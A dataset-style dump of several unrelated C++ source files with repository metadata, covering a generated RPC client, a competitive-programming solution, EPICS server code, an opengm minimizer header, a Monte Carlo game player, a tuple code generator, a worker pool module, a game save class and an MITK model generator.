std::shared_ptr<vnx::Binary> _argument_data = vnx::Binary::create();
vnx::BinaryOutputStream _stream_out(_argument_data.get());
vnx::TypeOutput _out(&_stream_out);
const vnx::TypeCode* _type_code = vnx::get_type_code(vnx::Hash64(0xe58127da78610817ull));
{
char* const _buf = _out.write(8);
vnx::write_value(_buf + 0, value);
vnx::write(_out, name, _type_code, _type_code->fields[0].code.data());
}
_out.flush();
_argument_data->type_code = _type_code;
const uint64_t _request_id = vnx_request(_argument_data);
vnx_queue_subtract_user_balance[_request_id] = _callback;
vnx_num_pending++;
return _request_id;
}
void DatabaseAsyncClient::vnx_purge_request(uint64_t _request_id) {
vnx_num_pending -= vnx_queue_add_user.erase(_request_id);
vnx_num_pending -= vnx_queue_add_user_balance.erase(_request_id);
vnx_num_pending -= vnx_queue_get_user.erase(_request_id);
vnx_num_pending -= vnx_queue_get_user_balance.erase(_request_id);
vnx_num_pending -= vnx_queue_handle_example_Transaction.erase(_request_id);
vnx_num_pending -= vnx_queue_subtract_user_balance.erase(_request_id);
}
void DatabaseAsyncClient::vnx_callback_switch(uint64_t _request_id, std::shared_ptr<const vnx::Binary> _data) {
vnx::BinaryInputStream _stream_in(_data.get());
vnx::TypeInput _in(&_stream_in);
const vnx::TypeCode* _return_type = _data->type_code;
if(_return_type->type_hash == vnx::Hash64(0x73df74b7d405f6b0ull)) {
auto _iter = vnx_queue_add_user.find(_request_id);
if(_iter != vnx_queue_add_user.end()) {
if(_iter->second) {
_iter->second();
}
vnx_queue_add_user.erase(_iter);
vnx_num_pending--;
}
}
else if(_return_type->type_hash == vnx::Hash64(0xce8eb9027f2289c3ull)) {
auto _iter = vnx_queue_add_user_balance.find(_request_id);
if(_iter != vnx_queue_add_user_balance.end()) {
if(_iter->second) {
_iter->second();
}
vnx_queue_add_user_balance.erase(_iter);
vnx_num_pending--;
}
}
else if(_return_type->type_hash == vnx::Hash64(0x36d19b92367474d9ull)) {
::std::shared_ptr<const ::example::User> _ret_0;
{
const char* const _buf = _in.read(_return_type->total_field_size);
if(_return_type->is_matched) {
}
for(const vnx::TypeField* _field : _return_type->ext_fields) {
switch(_field->native_index) {
case 0: vnx::read(_in, _ret_0, _return_type, _field->code.data()); break;
default: vnx::skip(_in, _return_type, _field->code.data());
}
}
}
auto _iter = vnx_queue_get_user.find(_request_id);
if(_iter != vnx_queue_get_user.end()) {
if(_iter->second) {
_iter->second(_ret_0);
}
vnx_queue_get_user.erase(_iter);
vnx_num_pending--;
}
}
else if(_return_type->type_hash == vnx::Hash64(0x50b361140a464af7ull)) {
::vnx::float64_t _ret_0 = 0;
{
const char* const _buf = _in.read(_return_type->total_field_size);
if(_return_type->is_matched) {
{
const vnx::TypeField* const _field = _return_type->field_map[0];
if(_field) {
vnx::read_value(_buf + _field->offset, _ret_0, _field->code.data());
}
}
}
for(const vnx::TypeField* _field : _return_type->ext_fields) {
switch(_field->native_index) {
default: vnx::skip(_in, _return_type, _field->code.data());
}
}
}
auto _iter = vnx_queue_get_user_balance.find(_request_id);
if(_iter != vnx_queue_get_user_balance.end()) {
if(_iter->second) {
_iter->second(_ret_0);
}
vnx_queue_get_user_balance.erase(_iter);
vnx_num_pending--;
}
}
else if(_return_type->type_hash == vnx::Hash64(0xa6ede797ad62d986ull)) {
auto _iter = vnx_queue_handle_example_Transaction.find(_request_id);
if(_iter != vnx_queue_handle_example_Transaction.end()) {
if(_iter->second) {
_iter->second();
}
vnx_queue_handle_example_Transaction.erase(_iter);
vnx_num_pending--;
}
}
else if(_return_type->type_hash == vnx::Hash64(0x602e1ee9204ea132ull)) {
auto _iter = vnx_queue_subtract_user_balance.find(_request_id);
if(_iter != vnx_queue_subtract_user_balance.end()) {
if(_iter->second) {
_iter->second();
}
vnx_queue_subtract_user_balance.erase(_iter);
vnx_num_pending--;
}
}
}
} // namespace example
| 35.951965
| 151
| 0.742014
|
automyinc
|
1541882e8f26b9db462bbbfd8af139cdfb2b074a
| 2,618
|
cpp
|
C++
|
graph-source-code/41-E/189438.cpp
|
AmrARaouf/algorithm-detection
|
59f3028d2298804870b32729415d71eec6116557
|
[
"MIT"
] | null | null | null |
graph-source-code/41-E/189438.cpp
|
AmrARaouf/algorithm-detection
|
59f3028d2298804870b32729415d71eec6116557
|
[
"MIT"
] | null | null | null |
graph-source-code/41-E/189438.cpp
|
AmrARaouf/algorithm-detection
|
59f3028d2298804870b32729415d71eec6116557
|
[
"MIT"
] | null | null | null |
//Language: GNU C++
#include<iostream>
#include<sstream>
#include<string>
#include<cstdlib>
#include<vector>
#include<map>
#include<queue>
#include<stack>
#include<cmath>
#include<cctype>
#include<set>
#include<bitset>
#include<algorithm>
#include<list>
#include<utility>
#include<functional>
#include <deque>
#include <numeric>
#include <iomanip>
#include <cstdio>
#include <cstring>
#include <ctime>
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<math.h>
#include<ctype.h>
using namespace std;
#define deb(a) cout<<" -> "<<#a<<" "<<a<<endl;
#define oo (1<<30)
#define PI 3.141592653589793
#define pi 2*acos(0)
#define ERR 1e-5
#define PRE 1e-8
#define popcount(a) (__builtin_popcount(a))
#define SZ(a) ((int)a.size())
#define PB push_back
#define LL long long
#define ISS istringstream
#define OSS ostringstream
#define SS stringstream
#define VS vector<string>
#define VI vector<int>
#define VD vector<double>
#define VLL vector<long long>
#define SII set<int>::iterator
#define SI set<int>
#define mem(a,b) memset(a,b,sizeof(a))
#define memc(a,b) memcpy(a,b,sizeof(b))
#define fi(i,a,b) for(i=a;i<b;i++)
#define fd(i,a,b) for(i=a;i>b;i--)
#define fii(a,b) for(i=a;i<b;i++)
#define fdi(a,b) for(i=a;i>b;i--)
#define fij(a,b) for(j=a;j<b;j++)
#define fdj(a,b) for(j=a;j>b;j--)
#define fik(a,b) for(k=a;k<b;k++)
#define fdk(a,b) for(k=a;k>b;k--)
#define fil(a,b) for(l=a;l<b;l++)
#define fdl(a,b) for(l=a;l>b;l--)
#define ri(i,a) for(i=0;i<a;i++)
#define rd(i,a) for(i=a;i>-1;i--)
#define rii(a) for(i=0;i<a;i++)
#define rdi(a) for(i=a;i>-1;i--)
#define rij(a) for(j=0;j<a;j++)
#define rdj(a) for(j=a;j>-1;j--)
#define rik(a) for(k=0;k<a;k++)
#define rdk(a) for(k=a;k>-1;k--)
#define ril(a) for(l=0;l<a;l++)
#define rdl(a) for(l=a;i>-1;l--)
#define EQ(a,b) (fabs(a-b)<ERR)
#define all(a) (a).begin(),(a).end()
#define CROSS(a,b,c,d) ((b.x-a.x)*(d.y-c.y)-(d.x-c.x)*(b.y-a.y))
#define sqr(a) ((a)*(a))
#define p2(a) (1LL<<a)
int main()
{
//freopen("in.in","r",stdin);
//freopen("ou.in","w",stdout);
int i,j,n;
while(cin>>n)
{
if(n&1)printf("%d\n",(n/2)*(n+1)/2);
else printf("%d\n",(n*n)/4);
for(i=1;i<=n/2;i++)
for(j=n/2+1;j<=n;j++) printf("%d %d\n",i,j);
}
return 0;
}
| 25.417476
| 66
| 0.52903
|
AmrARaouf
|
1543c74cb3eacc8e390d23bac942a89f68c54a53
| 2,118
|
cpp
|
C++
|
base-3.15.5-pre1/src/ca/legacy/pcas/generic/casAsyncPVAttachIOI.cpp
|
osteffen/epics
|
20556240f157c6b812d66e900d119e0db3bce391
|
[
"OML"
] | null | null | null |
base-3.15.5-pre1/src/ca/legacy/pcas/generic/casAsyncPVAttachIOI.cpp
|
osteffen/epics
|
20556240f157c6b812d66e900d119e0db3bce391
|
[
"OML"
] | null | null | null |
base-3.15.5-pre1/src/ca/legacy/pcas/generic/casAsyncPVAttachIOI.cpp
|
osteffen/epics
|
20556240f157c6b812d66e900d119e0db3bce391
|
[
"OML"
] | null | null | null |
/*************************************************************************\
* Copyright (c) 2002 The University of Chicago, as Operator of Argonne
* National Laboratory.
* Copyright (c) 2002 The Regents of the University of California, as
* Operator of Los Alamos National Laboratory.
* EPICS BASE is distributed subject to a Software License Agreement found
* in file LICENSE that is included with this distribution.
\*************************************************************************/
/*
* Author Jeffrey O. Hill
* johill@lanl.gov
* 505 665 1831
*/
#include "errlog.h"
#define epicsExportSharedSymbols
#include "casAsyncPVAttachIOI.h"
casAsyncPVAttachIOI::casAsyncPVAttachIOI (
casAsyncPVAttachIO & intf, const casCtx & ctx ) :
casAsyncIOI ( ctx ), msg ( *ctx.getMsg() ),
asyncPVAttachIO ( intf ), retVal ( S_cas_badParameter )
{
ctx.getServer()->incrementIOInProgCount ();
ctx.getClient()->installAsynchIO ( *this );
}
caStatus casAsyncPVAttachIOI::postIOCompletion ( const pvAttachReturn & retValIn )
{
this->retVal = retValIn;
return this->insertEventQueue ();
}
caStatus casAsyncPVAttachIOI::cbFuncAsyncIO (
epicsGuard < casClientMutex > & guard )
{
caStatus status;
// uninstall here in case the channel is deleted
// further down the call stack
this->client.uninstallAsynchIO ( *this );
this->client.getCAS().decrementIOInProgCount ();
if ( this->msg.m_cmmd == CA_PROTO_CREATE_CHAN ) {
casCtx tmpCtx;
tmpCtx.setMsg ( this->msg, 0 );
tmpCtx.setServer ( & this->client.getCAS() );
tmpCtx.setClient ( & this->client );
status = this->client.createChanResponse ( guard,
tmpCtx, this->retVal );
}
else {
errPrintf ( S_cas_invalidAsynchIO, __FILE__, __LINE__,
" - client request type = %u", this->msg.m_cmmd );
status = S_cas_invalidAsynchIO;
}
if ( status == S_cas_sendBlocked ) {
this->client.getCAS().incrementIOInProgCount ();
this->client.installAsynchIO ( *this );
}
return status;
}
| 31.147059
| 82
| 0.617564
|
osteffen
|
1543f151890790f43a3431f95a01f790cc536799
| 4,869
|
hpp
|
C++
|
include/opengm/minimizer/to_quadratic_minimizer.hpp
|
DerThorsten/opengm3
|
23af324a0fde1357eb9745d69798686f0476e1f1
|
[
"MIT"
] | null | null | null |
include/opengm/minimizer/to_quadratic_minimizer.hpp
|
DerThorsten/opengm3
|
23af324a0fde1357eb9745d69798686f0476e1f1
|
[
"MIT"
] | null | null | null |
include/opengm/minimizer/to_quadratic_minimizer.hpp
|
DerThorsten/opengm3
|
23af324a0fde1357eb9745d69798686f0476e1f1
|
[
"MIT"
] | null | null | null |
#pragma once
#include <queue>
#include <algorithm>
#include "opengm/minimizer/minimizer_base.hpp"
#include "opengm/minimizer/bp.hpp"
#include "opengm/minimizer/utils/label_fuser.hpp"
#include "opengm/factors_of_variables.hpp"
namespace opengm{
template<class GM>
class SelfFusion;
namespace detail_self_fusion{
template<class GM>
class ToQuadraticMinimizerVisitor: public MinimizerCallbackBase<GM>{
public:
using gm_type = GM;
using minimizer_base_type = MinimizerBase<gm_type>;
using self_fusion_type = SelfFusion<gm_type>;
using base_type = MinimizerCallbackBase<gm_type>;
ToQuadraticMinimizerVisitor(self_fusion_type & self_fusion, base_type * outer_visitor)
: m_self_fusion(self_fusion),
m_outer_callback(outer_visitor)
{
}
void begin(minimizer_base_type * minimizer){
if(m_outer_callback != nullptr){
return m_outer_callback->begin(&m_self_fusion);
}
}
void end(minimizer_base_type * minimizer){
if(m_outer_callback != nullptr){
return m_outer_callback->end(&m_self_fusion);
}
}
bool operator()(minimizer_base_type * minimizer){
if(m_outer_callback != nullptr){
return m_outer_callback->operator()(&m_self_fusion);
}
return true;
}
private:
self_fusion_type & m_self_fusion;
base_type * m_outer_callback;
};
}
template<class GM>
class SelfFusion : public MinimizerCrtpBase<GM, SelfFusion<GM> >{
public:
friend class detail_self_fusion::ToQuadraticMinimizerVisitor<GM>;
using gm_type = GM;
using base_type = MinimizerBase<GM>;
using value_type = typename GM::value_type;
using label_type = typename GM::label_type;
using labels_vector_type = typename base_type::labels_vector_type;
using minimizer_callback_base_ptr_type = typename base_type::minimizer_callback_base_ptr_type;
using base_type::minimize;
using quadratic_gm_type = typename ToQuadratic<gm_type>::quadratic_gm_type;
using quadratic_gm_minimizer_factory_base_type = MinimizerFactoryBase<quadratic_gm_type>;
using quadratic_gm_minimizer_factory_ptr_type = std::shared_ptr<quadratic_gm_minimizer_factory_base_type>;
private:
using inner_callback_type = detail_self_fusion::ToQuadraticMinimizerVisitor<gm_type>;
public:
struct settings_type : public SolverSettingsBase{
quadratic_gm_minimizer_factory_ptr_type minimizer_factory;
};
SelfFusion(const GM & gm, const settings_type & settings = settings_type())
: m_gm(gm),
m_settings(settings),
m_energy(),
m_labels(gm.num_variables(),0),
m_outer_callback(nullptr),
m_starting_point_passed(false),
{
if(!m_settings.minimizer_factory)
{
m_settings.minimizer_factory = std::make_shared<default_minimizer_factory_type>();
}
}
std::string name() const override{
return "SelfFusion";
}
const gm_type & gm() const override{
return m_gm;
}
const labels_vector_type & best_labels()override{
return m_labels;
}
const labels_vector_type & current_labels() override{
return m_labels;
}
value_type best_energy() override{
return m_energy;
}
value_type current_energy() override {
return m_energy;
}
bool can_start_from_starting_point() override{
return true;
}
void set_starting_point(const label_type * labels)override{
m_starting_point_passed = true;
m_labels.assign(labels, labels + m_gm.num_variables());
}
void minimize(minimizer_callback_base_ptr_type minimizer_callback_base_ptr)override{
// evaluate energy st. callbacks report correct energy
m_energy = m_gm.evaluate(m_labels);
auto callback = callback_wrapper(this, minimizer_callback_base_ptr);
auto quadratic_gm to_quadratic(m_gm);
auto quadratic_gm_minimizer = m_settings.minimizer_factory->create(quadratic_gm);
if(m_starting_point_passed && minimizer->can_start_from_starting_point())
{
// todo, we need to create the labels for the quadratic gm
//quadratic_gm_minimizer->set_starting_point(m_labels);
}
if(minimizer_callback_base_ptr != nullptr)
{
inner_callback_type inner_callback(*this, minimizer_callback_base_ptr);
quadratic_gm_minimizer->minimize(&inner_callback);
}
else
{
quadratic_gm_minimizer->minimize();
}
}
private:
const GM & m_gm;
settings_type m_settings;
value_type m_energy;
std::vector<label_type> m_labels;
bool m_starting_point_passed;
};
}
| 27.201117
| 110
| 0.678168
|
DerThorsten
|
15461aed26d76d9755aa4d227a623daeb78f8290
| 1,895
|
cc
|
C++
|
src/player_mc.cc
|
tczajka/flippo-veoveo
|
6ebd612c4b85cb910264169164f1cdb1a2252a3d
|
[
"MIT"
] | 5
|
2019-01-19T14:18:20.000Z
|
2022-01-23T16:58:45.000Z
|
src/player_mc.cc
|
tczajka/flippo-veoveo
|
6ebd612c4b85cb910264169164f1cdb1a2252a3d
|
[
"MIT"
] | null | null | null |
src/player_mc.cc
|
tczajka/flippo-veoveo
|
6ebd612c4b85cb910264169164f1cdb1a2252a3d
|
[
"MIT"
] | null | null | null |
#include "player_mc.h"
#include "logging.h"
#include <algorithm>
Move PlayerMc::choose_move(const Position &position,
const PlaySettings &settings) {
const int rounds_left = (num_squares - position.move_number() + 1) / 2;
const Timestamp end_time = settings.start_time + settings.time_left / rounds_left;
std::vector<MoveOption> move_options;
{
Bitboard valid_moves = position.valid_moves();
while (valid_moves) {
const Move move = first_square(valid_moves);
MoveOption move_option;
move_option.move = move;
move_options.push_back(move_option);
valid_moves = remove_first_square(valid_moves);
}
}
std::int64_t num_simulations = 0;
std::int64_t num_rounds = 0;
while (num_rounds == 0 || current_time() < end_time) {
for (MoveOption &move_option : move_options) {
Position pos2;
position.make_move(move_option.move, pos2);
move_option.total_score -= simulate(pos2);
++num_simulations;
}
++num_rounds;
}
std::sort(move_options.begin(), move_options.end(),
[](const MoveOption &a, const MoveOption &b) {
return a.total_score > b.total_score;
});
log_info("Simulations %ld\n", num_simulations);
log_info("Best moves:");
for (std::size_t i=0; i < move_options.size() && i < 3; ++i) {
log_info(" %s (%.3f)", move_to_string(move_options[i].move).c_str(),
static_cast<double>(move_options[i].total_score) / num_rounds);
}
log_info("\n");
return move_options.begin()->move;
}
int PlayerMc::simulate(const Position &position) {
Position pos2 = position;
int rounds = 0;
while (!pos2.finished()) {
const Move move = random_generator.get_square(pos2.valid_moves());
pos2.make_move(move, pos2);
++rounds;
}
const int score = pos2.final_score();
return (rounds & 1) ? -score : score;
}
| 30.564516
| 84
| 0.653298
|
tczajka
|
154632a790b78b66114a87c2d618220eabca37d4
| 2,019
|
cc
|
C++
|
tools/to_tuple_generator/to_tuple_generator.cc
|
cflaviu/cista
|
d7fab2dcfdf1b7665e9f8b4d6eeefa4a9f89046b
|
[
"MIT"
] | 843
|
2019-01-03T11:33:00.000Z
|
2022-03-27T08:09:46.000Z
|
tools/to_tuple_generator/to_tuple_generator.cc
|
cflaviu/cista
|
d7fab2dcfdf1b7665e9f8b4d6eeefa4a9f89046b
|
[
"MIT"
] | 58
|
2019-01-03T20:32:02.000Z
|
2022-01-31T17:25:42.000Z
|
tools/to_tuple_generator/to_tuple_generator.cc
|
cflaviu/cista
|
d7fab2dcfdf1b7665e9f8b4d6eeefa4a9f89046b
|
[
"MIT"
] | 63
|
2019-01-04T03:00:04.000Z
|
2022-03-30T20:01:22.000Z
|
#include <iostream>
#include <sstream>
#include <string>
std::string var_list(unsigned num, bool address_of) {
std::stringstream ss;
for (int i = 0; i < num; ++i) {
if (address_of) {
ss << "&";
}
ss << "p" << (i + 1);
if (i != num - 1) {
ss << ", ";
}
}
return ss.str();
}
int main(int argc, char** argv) {
if (argc != 2) {
std::cout << "usage: " << argv[0] << " [max members]\n";
return 1;
}
auto const max_members = std::stoi(argv[1]);
std::cout << R"(
#pragma once
#include <tuple>
#include "cista/reflection/arity.h"
namespace cista {
template <typename T>
constexpr auto to_tuple_works_v =
std::is_aggregate_v<T> &&
#if !defined(_MSC_VER) || defined(NDEBUG)
std::is_standard_layout_v < T>&&
#endif
!std::is_polymorphic_v<T>;
template <typename T>
inline auto to_tuple(T& t) {
constexpr auto const a = arity<T>();
static_assert(a <= )"
<< max_members << R"(, "Max. supported members: )" << max_members
<< R"(");)"
<< R"(
if constexpr (a == 0) {
return std::tie();
})";
for (auto i = 1U; i <= max_members; ++i) {
std::cout << R"( else if constexpr (a == )" << i << R"() {
auto& [)" << var_list(i, false)
<< R"(] = t;
return std::tie()"
<< var_list(i, false) << R"();
})";
}
std::cout << "\n}\n";
std::cout << R"(
template <typename T>
inline auto to_ptr_tuple(T& t) {
constexpr auto const a = arity<T>();
static_assert(a <= )"
<< max_members << R"(, "Max. supported members: )" << max_members
<< R"(");)"
<< R"(
if constexpr (a == 0) {
return std::make_tuple();
})";
for (auto i = 1U; i <= max_members; ++i) {
std::cout << R"( else if constexpr (a == )" << i << R"() {
auto& [)" << var_list(i, false)
<< R"(] = t;
return std::make_tuple()"
<< var_list(i, true) << R"();
})";
}
std::cout << "\n}";
std::cout << R"(
} // namespace cista
)";
}
| 22.685393
| 77
| 0.500248
|
cflaviu
|
15493dd3688367e4c6172ace7644878b6bf49c85
| 362
|
cpp
|
C++
|
Email/Mapi/MapiGPF.cpp
|
BartoszMilewski/CodeCoop
|
7d29f53ccf65b0d29ea7d6781a74507b52c08d0d
|
[
"MIT"
] | 67
|
2018-03-02T10:50:02.000Z
|
2022-03-23T18:20:29.000Z
|
Email/Mapi/MapiGPF.cpp
|
BartoszMilewski/CodeCoop
|
7d29f53ccf65b0d29ea7d6781a74507b52c08d0d
|
[
"MIT"
] | null | null | null |
Email/Mapi/MapiGPF.cpp
|
BartoszMilewski/CodeCoop
|
7d29f53ccf65b0d29ea7d6781a74507b52c08d0d
|
[
"MIT"
] | 9
|
2018-03-01T16:38:28.000Z
|
2021-03-02T16:17:09.000Z
|
// ---------------------------
// (c) Reliable Software, 2005
// ---------------------------
#include "precompiled.h"
#include "MapiGPF.h"
#include "OutputSink.h"
char const Err [] = "Unexpected error in MAPI code during a call to ";
void Mapi::HandleGPF (std::string const & where)
{
std::string msg = Err + where + ".";
TheOutput.Display (msg.c_str ());
}
| 24.133333
| 70
| 0.560773
|
BartoszMilewski
|
15496d77cbaff3b88198a2bd763cc54cdfe91d50
| 5,292
|
cpp
|
C++
|
coast/modules/WorkerPoolManager/WorkerPoolManagerModulePoolManager.cpp
|
zer0infinity/CuteForCoast
|
37d933c5fe2e0ce9a801f51b2aa27c7a18098511
|
[
"BSD-3-Clause"
] | null | null | null |
coast/modules/WorkerPoolManager/WorkerPoolManagerModulePoolManager.cpp
|
zer0infinity/CuteForCoast
|
37d933c5fe2e0ce9a801f51b2aa27c7a18098511
|
[
"BSD-3-Clause"
] | null | null | null |
coast/modules/WorkerPoolManager/WorkerPoolManagerModulePoolManager.cpp
|
zer0infinity/CuteForCoast
|
37d933c5fe2e0ce9a801f51b2aa27c7a18098511
|
[
"BSD-3-Clause"
] | null | null | null |
/*
* Copyright (c) 2005, Peter Sommerlad and IFS Institute for Software at HSR Rapperswil, Switzerland
* All rights reserved.
*
* This library/application is free software; you can redistribute and/or modify it under the terms of
* the license that is included with this library/application in the file license.txt.
*/
#include "WorkerPoolManagerModulePoolManager.h"
#include "SystemLog.h"
#include "Tracer.h"
//---- WorkerPoolManagerModuleWorker -----------------------------------------------
WorkerPoolManagerModuleWorker::WorkerPoolManagerModuleWorker(const char *name)
: WorkerThread(name)
{
StartTrace(WorkerPoolManagerModuleWorker.WorkerPoolManagerModuleWorker);
}
WorkerPoolManagerModuleWorker::~WorkerPoolManagerModuleWorker()
{
StartTrace(WorkerPoolManagerModuleWorker.~WorkerPoolManagerModuleWorker);
}
// one time initialization
void WorkerPoolManagerModuleWorker::DoInit(ROAnything workerInit)
{
StartTrace(WorkerPoolManagerModuleWorker.DoInit);
fWorkerInitCfg = workerInit.DeepClone();
}
void WorkerPoolManagerModuleWorker::DoProcessWorkload()
{
StartTrace(WorkerPoolManagerModuleWorker.DoProcessWorkload);
if ( CheckRunningState( eWorking ) ) {
Anything *pMessages;
Mutex *pMx;
Mutex::ConditionType *pCond;
pMx = (Mutex *)fWork["mutex"].AsIFAObject();
pCond = (Mutex::ConditionType *)fWork["condition"].AsIFAObject();
pMessages = (Anything *)fWork["messages"].AsIFAObject(0L);
Assert(pMessages != NULL);
Assert(pMx != NULL);
Assert(pCond != NULL);
TraceAny(*pMessages, "Arguments passed to me");
TraceAny(fWorkerInitCfg, "My initial config:");
{
// here we should do something fancier then copying input to output :-)
LockUnlockEntry me(*pMx);
Anything *pResult = (Anything *)fWork["results"].AsIFAObject(0L);
(*pResult)["Got"] = (*pMessages).AsString();
(*pResult)["WorkerInitialConfig"] = fWorkerInitCfg;
}
// signal that we finished working
pCond->Signal();
}
}
// passing of the work
void WorkerPoolManagerModuleWorker::DoWorkingHook(ROAnything workerConfig)
{
StartTrace(WorkerPoolManagerModuleWorker.DoWorkingHook);
// It is essential to copy the worker's config into a instance variable.
// And it is essential to DeepClone that data for thread safety reasons too.
fWork = workerConfig.DeepClone();
}
void WorkerPoolManagerModuleWorker::DoTerminationRequestHook(ROAnything)
{
StartTrace(WorkerPoolManagerModuleWorker.DoTerminationRequestHook);
}
void WorkerPoolManagerModuleWorker::DoTerminatedHook()
{
StartTrace(WorkerPoolManagerModuleWorker.DoTerminatedHook);
}
//---- WorkerPoolManagerModulePoolManager ------------------------------------------------
WorkerPoolManagerModulePoolManager::WorkerPoolManagerModulePoolManager(String name)
: WorkerPoolManager(name)
, fRequests(0)
{
StartTrace(WorkerPoolManagerModulePoolManager.WorkerPoolManagerModulePoolManager);
}
WorkerPoolManagerModulePoolManager::~WorkerPoolManagerModulePoolManager()
{
StartTrace(WorkerPoolManagerModulePoolManager.~WorkerPoolManagerModulePoolManager);
Terminate(5L);
Anything dummy;
DoDeletePool(dummy);
}
bool WorkerPoolManagerModulePoolManager::Init(const ROAnything config)
{
StartTrace(WorkerPoolManagerModulePoolManager.Init);
bool bRet = false;
long concurrentQueries = 5L;
String strInterfacesPathName;
if (config.IsDefined("Workers")) {
concurrentQueries = config["Workers"].AsLong(5L);
}
long usePoolStorage = 0L;
u_long poolStorageSize = 1000L;
u_long numOfPoolBucketSizes = 20L;
Trace("Initializing worker pool with " << concurrentQueries << " possible parallel queries");
Anything workerInitCfg;
workerInitCfg = config["WorkerInitialConfig"].DeepClone();
TraceAny(workerInitCfg, "WorkerInitialConfig for Pool: " << workerInitCfg.SlotName(0L));
// initialize the base class
if (WorkerPoolManager::Init(concurrentQueries, usePoolStorage, poolStorageSize, numOfPoolBucketSizes, workerInitCfg) == 0) {
Trace("WorkerPoolManager::Init successful");
bRet = true;
}
return bRet;
}
void WorkerPoolManagerModulePoolManager::DoAllocPool(ROAnything args)
{
StartTrace(WorkerPoolManagerModulePoolManager.DoAllocPool);
// create the pool of worker threads
fRequests = new WorkerPoolManagerModuleWorker[GetPoolSize()];
}
WorkerThread *WorkerPoolManagerModulePoolManager::DoGetWorker(long i)
{
StartTrace(WorkerPoolManagerModulePoolManager.DoGetWorker);
// accessor for one specific worker
if (fRequests) {
return &(fRequests[i]);
}
return 0;
}
void WorkerPoolManagerModulePoolManager::DoDeletePool(ROAnything args)
{
StartTrace(WorkerPoolManagerModulePoolManager.DoDeletePool);
// cleanup of the sub-class specific stuff
// CAUTION: this cleanup method may be called repeatedly..
if (fRequests) {
delete [ ] fRequests;
fRequests = 0;
}
}
void WorkerPoolManagerModulePoolManager::Enter(Anything &args)
{
// make this function block the caller until the worker has finished working
// to achieve this we create a Mutex and Condition to wait on
Mutex mx(args["server"].AsString());
Mutex::ConditionType cond;
args["mutex"] = (IFAObject *)&mx;
args["condition"] = (IFAObject *)&cond;
{
LockUnlockEntry me(mx);
WorkerPoolManager::Enter(args, -1L);
// wait on the worker to finish its work and start it with waiting on the condition
cond.Wait(mx);
}
}
| 31.879518
| 125
| 0.76455
|
zer0infinity
|
154c8ece419e263864e17e4c9f137c97bf481c64
| 1,955
|
cpp
|
C++
|
Source/Untitled_DeckRPG/Core/SummonerSaveData.cpp
|
JeffereyAEL/UntitledDeckRPG
|
e2935641957ba01645fdb0112eda5386b80fb919
|
[
"Artistic-2.0"
] | null | null | null |
Source/Untitled_DeckRPG/Core/SummonerSaveData.cpp
|
JeffereyAEL/UntitledDeckRPG
|
e2935641957ba01645fdb0112eda5386b80fb919
|
[
"Artistic-2.0"
] | null | null | null |
Source/Untitled_DeckRPG/Core/SummonerSaveData.cpp
|
JeffereyAEL/UntitledDeckRPG
|
e2935641957ba01645fdb0112eda5386b80fb919
|
[
"Artistic-2.0"
] | null | null | null |
#include "SummonerSaveData.h"
#include "Untitled_DeckRPG/Externals/DefinedDebugHelpers.h"
#include "Untitled_DeckRPG/InstanceClasses/StorableInstanceClasses/ArmorInstance.h"
#include "Untitled_DeckRPG/InstanceClasses/StorableInstanceClasses/SummonInstance.h"
USummonerSaveData::USummonerSaveData() {
Name = "UNINSTANTIATED_PLAYER";
Inventory = TArray<FStorableInstanceConfig>();
bValidSave = false;
}
void USummonerSaveData::SetPlayerData(FSummonerPersistentData summoner) {
for (auto storable_instance : summoner.Inventory)
{
Inventory.Add(storable_instance->Config);
}
Name = summoner.Name;
// TODO: add in deck save functionality
bValidSave = true;
}
FSummonerPersistentData USummonerSaveData::GetPlayerData(APlayerController* controller) const {
FSummonerPersistentData temp_data{};
temp_data.Name = Name;
for (auto config : Inventory)
{
UStorableInstance* new_instance = nullptr;
switch(config.StorableType)
{
case StorableType_Armor:
new_instance = NewObject<UStorableInstance>(controller,
UArmorInstance::StaticClass());
break;
case StorableType_Summon:
new_instance = NewObject<UStorableInstance>(controller,
USummonInstance::StaticClass());
break;
default:
break;
}
if (!IsValid(new_instance))
{
#if WITH_EDITOR
SCREENMSGT("Storable Instance construction from GetData() failed", 10);
#endif
return FSummonerPersistentData{};
}
if (config.StorableType != StorableType_None)
new_instance->PostConstruction(config.AssetIDString,
config.Level, config.Rank);
temp_data.Inventory.Add(new_instance);
}
return temp_data;
}
void USummonerSaveData::PostConstruction(FSummonerPersistentData data) {
SetPlayerData(data);
}
| 32.04918
| 95
| 0.679795
|
JeffereyAEL
|
155143521decbd3e38477d5c3dec7bdc2dd834df
| 2,089
|
cpp
|
C++
|
Modules/ModelFit/src/Common/mitkModelGenerator.cpp
|
wyyrepo/MITK
|
d0837f3d0d44f477b888ec498e9a2ed407e79f20
|
[
"BSD-3-Clause"
] | 1
|
2021-11-20T08:19:27.000Z
|
2021-11-20T08:19:27.000Z
|
Modules/ModelFit/src/Common/mitkModelGenerator.cpp
|
wyyrepo/MITK
|
d0837f3d0d44f477b888ec498e9a2ed407e79f20
|
[
"BSD-3-Clause"
] | null | null | null |
Modules/ModelFit/src/Common/mitkModelGenerator.cpp
|
wyyrepo/MITK
|
d0837f3d0d44f477b888ec498e9a2ed407e79f20
|
[
"BSD-3-Clause"
] | null | null | null |
/*===================================================================
The Medical Imaging Interaction Toolkit (MITK)
Copyright (c) German Cancer Research Center,
Division of Medical and Biological Informatics.
All rights reserved.
This software is distributed WITHOUT ANY WARRANTY; without
even the implied warranty of MERCHANTABILITY or FITNESS FOR
A PARTICULAR PURPOSE.
See LICENSE.txt or http://www.mitk.org for details.
===================================================================*/
#include "mitkModelGenerator.h"
#include "mitkIModelFitProvider.h"
#include "usModuleContext.h"
#include "usGetModuleContext.h"
mitk::IModelFitProvider* mitk::ModelGenerator::GetProviderService(const ModelClassIDType& id)
{
mitk::IModelFitProvider* result = nullptr;
std::string filter = "(" + mitk::IModelFitProvider::PROP_MODEL_CLASS_ID() + "=" + id + ")";
std::vector<us::ServiceReference<mitk::IModelFitProvider> > providerRegisters = us::GetModuleContext()->GetServiceReferences<mitk::IModelFitProvider>(filter);
if (!providerRegisters.empty())
{
if (providerRegisters.size() > 1)
{
MITK_WARN << "Multiple provider for class id'"<<id<<"' found. Using just one.";
}
result = us::GetModuleContext()->GetService<mitk::IModelFitProvider>(providerRegisters.front());
}
return result;
};
mitk::ModelGenerator::ModelGenerator()
= default;
mitk::ModelGenerator::~ModelGenerator()
= default;
mitk::ModelFactoryBase::Pointer mitk::ModelGenerator::GetModelFactory(const ModelClassIDType& id)
{
mitk::ModelFactoryBase::Pointer factory = nullptr;
auto service = GetProviderService(id);
if (service)
{
factory = service->GenerateFactory();
